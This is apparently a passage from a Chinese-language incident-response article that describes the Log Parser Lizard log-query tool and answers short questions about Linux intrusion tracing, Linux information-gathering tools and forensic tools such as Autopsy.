   Log Parser Lizard 是一款用Vc++.net写的logParser增强工具。主要有以下特点:
   a) 封装了logParser命令,带图形界面,大大降低了LogParser的使用难度。
   b) 集成了几个开源工具,如log4net等。可以对IIS logs\EventLogs\active directory\log4net\File Systems\T-SQL进行方便的查询。
   c) 集成了Infragistics.UltraChart.Core.v4.3、Infragistics.Excel.v4.3.dll等,使查询结果可以方便的以图表或EXCEL格式展示。
   d) 集成了常见的查询命令,范围包含六大模块:IIS
   e) 可以将查询过的命令保存下来,方便再次使用。

PS:软件是比较老的,对新系统兼容性不好,还是建议微软原生态log parser
  1. 在linux日志中,有无黑客入侵后的操作命令的统计**
   a) 可以根据history信息进行溯源分析,但一般可能会被清除
   b) 还有方法是需要结合accton 和 lastcomm
  1. 3.2.3 提到了Windows-Exploit-Suggester,有无linux版?
  1. 有无linux自动化信息收集的脚本工具?
  1. 有无综合的取证分析工具
   Autopsy 是sleuthkit提供的平台工具,Windows 和 Linux磁盘映像静态分析、恢复被删文件、时间线分析,网络浏览历史,关键字搜索和邮件分析等功能
  1. 关于业务逻辑的排查方法说明
新型业务安全中安全事件,例如撞库、薅羊毛、支付、逻辑校验等敏感环节,未在本文体现,所以后续有必要针对业务侧的应急排查方法归纳。



via:https://xianzhi.aliyun.com/forum/topic/1140/